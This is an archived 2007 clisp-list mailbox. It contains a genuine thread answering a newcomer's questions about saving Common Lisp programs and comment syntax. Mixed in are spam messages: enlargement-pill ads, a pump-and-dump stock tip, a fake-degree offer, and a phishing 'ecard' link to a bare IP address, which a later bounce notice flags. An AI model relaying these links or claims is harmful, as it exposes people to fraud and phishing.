X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] The Latest 'Bond 22' News X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jun 2007 10:16:08 -0000 Are you sure that your girlfriend is satisfied with the size of your `little friend` No? So, hurry up then, and get our new super pill as quickly as possible at the reduced price, before she'll find another guy with a descent willy. You can order it on our website: http://www.gayocafe.com/ -- qitmtotuujunpjtlthuuuorttiuothtltfqptluothtpupuuusuituuoupntrurmsm From audio@usfamily.net Tue Jun 26 09:10:04 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I3DcB-0003q7-SH for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 09:10:03 -0700 Received: from smtp.usfamily.net ([64.131.63.3] helo=mx1.usfamily.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1I3Dc5-0006pp-UQ for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 09:09:58 -0700 Received: from [67.104.219.51] by usfamily.net (USFamily MTA v2.1.0) with SMTP id com for ; Tue, 26 Jun 2007 11:09:32 -0500 (CDT) (envelope-from audio@usfamily.net, authenticated user audio@usfamily.net) Received: from [151.151.21.102] by webmail.usfamily.net (Webmail) with HTTP for ; Tue, 26 Jun 2007 11:09:31 -0500 Message-ID: <20070626110931.q62pecqj28g0o844@webmail.usfamily.net> Date: Tue, 26 Jun 2007 11:09:32 -0500 (CDT) From: audio@usfamily.net To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.0.2) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Cc: audio@usfamily.net Subject: [clisp-list] LISP Help X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jun 2007 16:10:05 -0000 Greetings, I am a very new LISPer and wanted to get some basics. There are a few things requested of me for a company that will use Common LISP (or Scheme). The company came to me because of giving me an oppurtunity to learn CL on a small project. Scince I don't know anything any help would be most appreciated. I am very confused on how to save the program, what to use for comments in code and how to save things so I can move them from PC to PC. Any help or resources would be most appreciated. :) From senatorzergling@gmail.com Tue Jun 26 16:25:58 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I3KPf-0008V0-Jc for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 16:25:46 -0700 Received: from wa-out-1112.google.com ([209.85.146.179]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I3KPf-0002v3-9d for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 16:25:35 -0700 Received: by wa-out-1112.google.com with SMTP id k22so2497059waf for ; Tue, 26 Jun 2007 16:25:34 -0700 (PDT) Received: by 10.114.173.15 with SMTP id v15mr6882755wae.1182900334741; Tue, 26 Jun 2007 16:25:34 -0700 (PDT) Received: by 10.115.75.5 with HTTP; Tue, 26 Jun 2007 16:25:34 -0700 (PDT) Message-ID: <8a4b88390706261625n3e6925e1p35254459514f9380@mail.gmail.com> Date: Wed, 27 Jun 2007 11:25:34 +1200 From: szergling To: "audio@usfamily.net" In-Reply-To: <20070626110931.q62pecqj28g0o844@webmail.usfamily.net> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20070626110931.q62pecqj28g0o844@webmail.usfamily.net> X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 TO_ADDRESS_EQ_REAL To: repeats address as real name 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] LISP Help X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 26 Jun 2007 23:25:58 -0000 > > I am a very new LISPer and wanted to get some basics. Are you specifically looking at clisp (this Lisp _implementation_) or just any Common Lisp implementation in general? For this kind of general problem, a good place to go to is the comp.lang.lisp newsgroup (see groups.google.com/group/comp.lang.lisp for example). > There are a few things requested of me for a company that will use Common LISP > (or Scheme). The company came to me because of giving me an oppurtunity to Cool, if it's alright, are you allowed to say what company this is? > learn CL on a small project. Scince I don't know anything any help would be > most appreciated. > > I am very confused on how to save the program, what to use for comments in code > and how to save things so I can move them from PC to PC. Save program? You can save the source files, then use load every time you start up (and you can put those into a startup file, eg ~/.clisprc). If the files are compiled into a fast loading format (.fas or .fasl etc), they can load faster. There're also system managers like asdf or defsystem that can handle this while taking care of dependencies/load order among files. Alternatively, you can save an image of your current 'environment' -- functions, packages, global variables, classes, objects, everything! into a memory image, and load that - it's quite quick. Source files, fas files, and images are normally portable across different operating systems, but probably won't be portable to newer versions of the same Lisp implementation. > Any help or resources would be most appreciated. In general, search the newsgroup for save image, load, compile and startup files. Watch out for the ambiguity when people say clisp -- do they mean Common Lisp or the clisp implementation by Haible/Stoll (what this list is about)? This is one of my pet peeves. We should probably add the suffix and call it clisp-hs, like some projects do. Also search for tutorial, book, (Practical Common Lisp is available online). For clisp-hs specific help, read the implementation notes on the website clisp.cons.org > :) From Devon@Jovi.Net Tue Jun 26 17:41:36 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I3LbD-0007qo-V9 for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 17:41:36 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1I3LbA-0000ZV-EH for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 17:41:34 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id l5QNxjQX048685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 26 Jun 2007 19:59:46 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id l5QNxj0g048682; Tue, 26 Jun 2007 19:59:45 -0400 (EDT) (envelope-from Devon@Jovi.Net) Date: Tue, 26 Jun 2007 19:59:45 -0400 (EDT) Message-Id: <200706262359.l5QNxj0g048682@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: szergling In-reply-to: <8a4b88390706261625n3e6925e1p35254459514f9380@mail.gmail.com> (message from szergling on Wed, 27 Jun 2007 11:25:34 +1200) References: <20070626110931.q62pecqj28g0o844@webmail.usfamily.net> <8a4b88390706261625n3e6925e1p35254459514f9380@mail.gmail.com> X-DCC--Metrics: grant.org 102; Body=4 Fuz1=4 Fuz2=4 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Tue, 26 Jun 2007 19:59:46 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net, audio@usfamily.net Subject: Re: [clisp-list] LISP Help X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jun 2007 00:41:36 -0000 Remember to mention EMACS, the IDE that grew up with CL. Control-Meta-A, Control-Meta-Q, Tab, Meta-( and Meta-) and so on. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From pjb@informatimago.com Tue Jun 26 19:23:43 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I3NC3-00016V-K7 for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 19:23:43 -0700 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I3NC1-0002wN-Rn for clisp-list@lists.sourceforge.net; Tue, 26 Jun 2007 19:23:43 -0700 Received: from thalassa.lan.informatimago.com (163.Red-83-57-64.dynamicIP.rima-tde.net [83.57.64.163]) by voyager.informatimago.com (Postfix) with ESMTP id 55F3F43C37B; Wed, 27 Jun 2007 04:26:39 +0200 (CEST) Received: by thalassa.lan.informatimago.com (Postfix, from userid 1000) id 617A717846E; Wed, 27 Jun 2007 04:23:30 +0200 (CEST) To: audio@usfamily.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEUAAAD///+l2Z/dAAAA oElEQVR4nK3OsRHCMAwF0O8YQufUNIQRGIAja9CxSA55AxZgFO4coMgYrEDDQZWPIlNAjwq9 033pbOBPtbXuB6PKNBn5gZkhGa86Z4x2wE67O+06WxGD/HCOGR0deY3f9Ijwwt7rNGNf6Oac l/GuZTF1wFGKiYYHKSFAkjIo1b6sCYS1sVmFhhhahKQssRjRT90ITWUk6vvK3RsPGs+M1RuR mV+hO/VvFAAAAABJRU5ErkJggg== X-Accept-Language: fr, es, en X-Disabled: X-No-Archive: no References: <20070626110931.q62pecqj28g0o844@webmail.usfamily.net> From: Pascal Bourguignon Date: Wed, 27 Jun 2007 04:23:28 +0200 In-Reply-To: <20070626110931.q62pecqj28g0o844@webmail.usfamily.net> (audio@usfamily.net's message of "Tue, 26 Jun 2007 11:09:32 -0500 (CDT)") Message-ID: <87fy4edtjz.fsf@thalassa.lan.informatimago.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.1.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] LISP Help X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jun 2007 02:23:43 -0000 audio@usfamily.net writes: > Greetings, > > I am a very new LISPer and wanted to get some basics. Welcome! > There are a few things requested of me for a company that will use Common LISP > (or Scheme). The company came to me because of giving me an oppurtunity to > learn CL on a small project. Scince I don't know anything any help would be > most appreciated. http://www.cliki.net/ http://www.cliki.net/Education http://www.cliki.net/Online+Tutorials http://www.cliki.net/Lisp%20books http://www.lispworks.com/documentation/HyperSpec/Front/index.htm clisp is a specific implementation of Common Lisp. This mail-list is specific to clisp. There are a lot of other Common Lisp implementations: http://www.cliki.net/Common%20Lisp%20implementation clisp is a good implementation, but depending on what you have to program, you may need to use another implementation. > I am very confused on how to save the program, > and how to save things so I can move them from PC to PC. While one can play directly with the lisp image in the REPL, programs are usually edited with an editor outside of the lisp image, and saved in files in the host OS. Then these files are loaded or compiled in the lisp image. One could implement some tools to have an image based development process similar to what is usually done in Smalltalk (eg in squeak), (have a look at http://www.informatimago.com/develop/lisp/small-cl-pgms/ibcl/ but it's just a toy) Better use emacs and slime as lisp IDE. > what to use for comments in code In Common Lisp there are three ways to "comment" stuff. The semi-colon character is a reader macro that skips over _characters_ till the end of the line. This allows you to comment random text. There is a convention in the number of semi-colon used, but only the first semi-colon is significant for the Common Lisp implementation; however this convention is respected by most lisp aware editors to indent differently these comments: ;;;; Big headers ,left justified ;;; Section headers, left justified (progn ;; Code comment, justed as code around it (print 'hi) ; line comment, justified ; on some fixed column by default (print 'done)) Then there is the #| reader dispatching macro characters, that allows you to comment sections of code (or random test), recursively: (progn #| (print 'hi #| 'ho ; wouldn't "ho" be better here? |#) |# (print 'done)) The #|...|# must be balanced. Finally, you can ignore some form with the #+ and #- reader dispatching macros. #+ test form or: #- test form Tests for the presence of keywords in the *FEATURES* list (may be a boolean expression), and if the test is successful (for #+) or fails (for #-), the read the form, otherwise skips over the form. The form must have balanced parentheses, but otherwise may contain mostly random characters. (and) returns true, and (or) returns false, therefore we can comment out a form with #-(and), or #+(or): (progn #-(and)(print 'hi) (print 'done)) > Any help or resources would be most appreciated. In addition to cliki where almost everything is referenced from, you can ask general Common Lisp questions on news:comp.lang.lisp and irc://irc.freenode.org/#lisp If you choose to use the clisp implementation, have a look at http://clisp.cons.org/ the clisp implementation notes: http://clisp.cons.org/impnotes.html and the clisp FAQ: http://clisp.cons.org/impnotes/faq.html and of course, you may further ask here about clisp. -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From sales@bmntnqueen.com Wed Jun 27 06:22:14 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I3XTK-00088K-2o for clisp-list@lists.sourceforge.net; Wed, 27 Jun 2007 06:22:14 -0700 Received: from [84.79.105.24] (helo=[84.79.105.24]) by mail.sourceforge.net with smtp (Exim 4.44) id 1I3XTI-0003S1-HF for clisp-list@lists.sourceforge.net; Wed, 27 Jun 2007 06:22:13 -0700 Message-ID: <55cd01c7b8bd$048f3a08$18694f54@[84.79.105.24]> From: "Sales" To: "Lewis Steve" Date: Wed, 27 Jun 2007 13:18:29 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1437 X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 BODY_ENHANCEMENT BODY: Information on growing body parts Subject: [clisp-list] Israel's Real Enemy X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jun 2007 13:22:14 -0000 Did you know that 76% of girls prefer guys with a descent ramrod? We bet it's not a secret for you, but the true secret is how you can ENLARGE your WEENIE safely and WITHOUT ANY RISK to amaze 100% of girls. You'd reveal this mystery once you bought our remarkable new drug on our website: http://www.bmntnqueen.com/ It's medically proven to enlarge your penis without any risk! -- fskokmkkjtjtghhrhnigimfjhohuijiripljinhiinirhrikimishgiiifmnioishs From vcph@noticexi.net Mon Jul 02 11:12:34 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I5QO2-0007bQ-Pu for clisp-list@lists.sourceforge.net; Mon, 02 Jul 2007 11:12:34 -0700 Received: from 210.97.232.64.transedge.com ([64.232.97.210] helo=vbn.0012215.lodgenet.net) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I5QO1-00034B-Bz for clisp-list@lists.sourceforge.net; Mon, 02 Jul 2007 11:12:34 -0700 Received: from [216.216.230.60] (helo=txpjyr) by vbn.0012215.lodgenet.net with smtp (Exim 3.34 #1) id 1I5QNy-00014B-00 for clisp-list@lists.sourceforge.net; Mon, 02 Jul 2007 14:12:31 -0400 Received: from [94.202.56.115] (helo=wjgjy) by txpjyr with smtp (Exim 4.62 (FreeBSD)) id 1I5QNá-0005cT-1W; Mon, 2 Jul 2007 14:11:13 -0400 Message-ID: <46893F35.7010201@noticexi.net> Date: Mon, 2 Jul 2007 14:08:53 -0400 From: Pete User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 000753-1, 07/02/2007), Outbound message X-Antivirus-Status: Clean X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Then, suddenly, Expedia bought Hotels. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jul 2007 18:12:35 -0000 ERMX Goes Wild! Wallst.net Does Feature Interview! EntreMetrix Inc. (ERMX) $0.185 (12:19EST) UP 15.6% Wallst.net releases a feature audio interview on ERMX via their site. Go read the news and listen to the interview and get on ERMX it is going through the roof! You can download the sample archive for the Using Java Persistence With JavaServer Faces Technology tip. If your app does not request permissions, it will run in a secure sandbox, much like an applet. Most popular browsers, including Mozilla browsers and Internet Explorer, do. Therefore, the Dynamic Faces paradigm is familiar to both Ajax developers and JavaServer Faces developers. For example, when using HPROF and inputting java - Xrunhprof, the library libhprof. The number of technologies listed here can appear overwhelming. It even supports automatic updates. This article provides an overview of the company's services, followed by an under-the-hood look at its Java architecture. All services in the Web Start environment can be obtained using the ServiceManager class, as you can see in the example below: import javax. See how well you do on this online quiz. Once the VM process has successfully loaded an agent library, it looks for a symbol in it to call and establish the agent-to-VM connection. You will be able to make changes to the application while it is running without redeploying it. The SwingWorker class helps create a responsive image search application. From PM0WVim@yahoo.com Tue Jul 03 15:28:15 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I5qr0-0003oh-R3; Tue, 03 Jul 2007 15:28:14 -0700 Received: from c-75-75-181-241.hsd1.pa.comcast.net ([75.75.181.241] helo=comcast.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1I5qr0-0007ma-4g; Tue, 03 Jul 2007 15:28:14 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by host47190412.yahoo.com (8.13.1/8.13.1) with SMTP id dYlTXLye76.398246.vcS.sUO.6050033437868 for ; Tue, 3 Jul 2007 19:27:20 +0500 Date: Tue, 3 Jul 2007 19:27:20 +0500 From: "Daniel Davis" MIME-Version: 1.0 To: clisp-devel@lists.sourceforge.net, clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; Message-ID: X-Spam-Score: -0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] vane eer kirkpatrick __ X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jul 2007 22:28:16 -0000 Start improving your life! Bachelors, Masters, MBA and/or Doctorate (PhD) NO ONE is turned down. 7 days a week. Give us a ring.. 206 888 2083 You Need a Better Degree, and we can Help! Obtain degrees from prestigious non ac Universities based on you life experience. NO ONE is turned down. 7 days a week, 24 hours a day. Do it now.. 206 888 2083 Regards, Professor. Robert Wilson It was much too big to be a flower petal, and she thought it might be a dead bird of some sort. When asked if Miss Wilkes had come in of her own free will to give information in the case, Ms. From ykpxw@marathonoil.com Tue Jul 03 15:32:42 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I5qvK-0004NI-E2 for clisp-list@lists.sourceforge.net; Tue, 03 Jul 2007 15:32:42 -0700 Received: from 12-227-169-55.client.mchsi.com ([12.227.169.55]) by mail.sourceforge.net with smtp (Exim 4.44) id 1I5qvJ-0001hT-1Q for clisp-list@lists.sourceforge.net; Tue, 03 Jul 2007 15:32:42 -0700 Received: from tikht.zpvc ([104.160.239.175]) by 12-227-169-55.client.mchsi.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 3 Jul 2007 17:32:42 -0500 Message-ID: <001201c7bdc2$11b79ee0$afefa068@tikht.zpvc> From: "riversongs.Com" To: Date: Tue, 3 Jul 2007 17:32:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 HELO_DYNAMIC_IPADDR2 Relay HELO'd using suspicious hostname (IP addr 2) 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [12.227.169.55 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [12.227.169.55 listed in combined.njabl.org] Subject: [clisp-list] July 4th Family Day X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jul 2007 22:32:42 -0000 Hi. Friend has sent you an ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://75.65.96.82/?496d2989907cd64e28cae3d7703a3b01bdad81 Or copy and paste it into your browser's "Location" box (where Internet addresses go). PRIVACY riversongs.Com honors your privacy. Our home page and Card Pick Up have links to our Privacy Policy. TERMS OF USE By accessing your card you agree we have no liability. If you don't know the person sending the card or don't wish to see the card, please disregard this Announcement. We hope you enjoy your awesome card. Wishing you the best, Mail Delivery System, riversongs.Com From MAILER-DAEMON Tue Jul 03 15:32:55 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I5qvV-0004Nt-EW for clisp-list@lists.sourceforge.net; Tue, 03 Jul 2007 15:32:55 -0700 Received: from lb01nat30.inode.at ([62.99.145.30] helo=mx.inode.at) by mail.sourceforge.net with esmtp (Exim 4.44) id 1I5qvU-00016j-HZ for clisp-list@lists.sourceforge.net; Tue, 03 Jul 2007 15:32:53 -0700 Received: from localhost ([127.0.0.1]:54712 helo=smartmx-04.inode.at) by smartmx-04.inode.at with esmtp (Exim 4.50) id 1I5qvO-0007Ti-FL; Wed, 04 Jul 2007 00:32:46 +0200 Received: from Debian-exim by smartmx-04.inode.at with local (Exim 4.50) id 1I5qvO-0007Tf-E7; Wed, 04 Jul 2007 00:32:46 +0200 From: Inode Mailscan To: ykpxw@marathonoil.com, clisp-list@lists.sourceforge.net X-Inode-Notify: virusfound Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Date: Wed, 04 Jul 2007 00:32:46 +0200 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Virus "Email.Phishing.RB-1222" gefunden X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Jul 2007 22:32:55 -0000 Sehr geehrte Damen und Herren, in dem E-Mail mit dem Betreff '[clisp-list] July 4th Family Day' (gesendet am Tue, 3 Jul 2007 17:32:42 -0500) mit der angegebenen Absenderadresse '"riversongs.Com" ' wurde der Virus 'Email.Phishing.RB-1222' gefunden. Aus diesem Grund wurde die E-Mail nicht zugestellt! Ihr Inode-Team -------------- Dear Ladies and Gentlemen, the mail with the Subject '[clisp-list] July 4th Family Day' (sent on Tue, 3 Jul 2007 17:32:42 -0500) with the sender address specified as '"riversongs.Com" ' contained a virus known as 'Email.Phishing.RB-1222'. Due to this reason the Mail has not been delivered! Your Inode-Team --------------- Headers of original mail follow: Received: from localhost ([127.0.0.1]:54709 helo=smartmx-04.inode.at) by smartmx-04.inode.at with esmtp (Exim 4.50) id 1I5qvO-0007Te-D5 for ru@x-ray.at; Wed, 04 Jul 2007 00:32:46 +0200 Received: from [66.35.250.225] (port=4827 helo=lists-outbound.sourceforge.net) by smartmx-04.inode.at with esmtp (Exim 4.50) id 1I5qvN-0007Sw-WD for rurban@x-ray.at; Wed, 04 Jul 2007 00:32:46 +0200 Received: from sc8-sf-list1-new.sourceforge.net (sc8-sf-list1-new-b.sourceforge.net [10.3.1.93]) by sc8-sf-spam2.sourceforge.net (Postfix) with ESMTP id BEE45F8B8; Tue, 3 Jul 2007 15:32:44 -0700 (PDT) Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I5qvK-0004NI-E2 for clisp-list@lists.sourceforge.net; Tue, 03 Jul 2007 15:32:42 -0700 Received: from 12-227-169-55.client.mchsi.com ([12.227.169.55]) by mail.sourceforge.net with smtp (Exim 4.44) id 1I5qvJ-0001hT-1Q for clisp-list@lists.sourceforge.net; Tue, 03 Jul 2007 15:32:42 -0700 Received: from tikht.zpvc ([104.160.239.175]) by 12-227-169-55.client.mchsi.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 3 Jul 2007 17:32:42 -0500 Message-ID: <001201c7bdc2$11b79ee0$afefa068@tikht.zpvc> From: "riversongs.Com" To: Date: Tue, 3 Jul 2007 17:32:42 -0500 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 HELO_DYNAMIC_IPADDR2 Relay HELO'd using suspicious hostname (IP addr 2) 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [12.227.169.55 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [12.227.169.55 listed in combined.njabl.org] Subject: [clisp-list] July 4th Family Day X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: clisp-list-bounces@lists.sourceforge.net Errors-To: clisp-list-bounces@lists.sourceforge.net From ldud@microtracescientific.com Thu Jul 05 22:11:07 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1I6g5z-0005De-CD for clisp-list@lists.sourceforge.net; Thu, 05 Jul 2007 22:11:07 -0700 Received: from [122.167.145.199] (helo=ABTS-KK-Dynamic-199.145.167.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1I6g5x-0000cg-V2 for clisp-list@lists.sourceforge.net; Thu, 05 Jul 2007 22:11:07 -0700 Received: from iqi ([76.135.99.177]) by ABTS-KK-Dynamic-199.145.167.122.airtelbroadband.in (8.13.3/8.13.3) with SMTP id l665EdhF059302; Fri, 6 Jul 2007 10:44:39 +0530 Message-ID: <468DCED8.2050308@microtracescientific.com> Date: Fri, 6 Jul 2007 10:40:48 +0530 From: Torres Sibil User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: 